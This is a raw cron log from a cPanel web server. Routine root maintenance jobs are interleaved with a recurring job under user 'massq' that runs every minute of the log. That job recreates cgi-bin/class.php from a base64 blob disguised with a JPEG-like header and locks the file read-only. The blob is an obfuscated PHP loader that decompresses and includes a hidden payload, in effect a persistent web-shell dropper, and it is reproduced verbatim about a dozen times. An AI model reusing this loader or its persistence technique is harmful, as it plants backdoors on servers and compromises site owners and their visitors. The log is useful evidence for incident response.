Sep  1 18:48:01 server CROND[27344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:48:01 server CROND[27343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:49:01 server CROND[27725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:49:01 server CROND[27726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:49:01 server CROND[27727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:50:01 server CROND[28126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:50:01 server CROND[28125]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:50:01 server CROND[28129]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:50:01 server CROND[28130]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:50:01 server CROND[28135]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:50:01 server CROND[28143]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 18:50:01 server CROND[28145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:50:01 server CROND[28144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:50:01 server CROND[28151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:51:01 server CROND[29043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:51:01 server CROND[29044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:51:01 server CROND[29045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:52:01 server CROND[29421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:52:01 server CROND[29422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:52:01 server CROND[29423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:53:01 server CROND[29862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:53:01 server CROND[29863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:53:01 server CROND[29864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:54:01 server CROND[30294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:54:01 server CROND[30295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:54:01 server CROND[30296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:55:01 server CROND[30696]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:55:01 server CROND[30697]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:55:01 server CROND[30703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:55:01 server CROND[30702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:55:01 server CROND[30704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:55:01 server CROND[30701]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:55:01 server CROND[30700]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:56:01 server CROND[31545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:56:01 server CROND[31546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:56:01 server CROND[31547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:57:01 server CROND[31940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:57:01 server CROND[31939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:57:01 server CROND[31941]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 18:57:01 server CROND[31942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:58:01 server CROND[32326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:58:01 server CROND[32327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:58:01 server CROND[32328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:59:01 server CROND[345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:59:01 server CROND[346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:59:01 server CROND[347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:00:01 server CROND[788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:00:01 server CROND[791]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:00:01 server CROND[793]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:00:01 server CROND[794]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
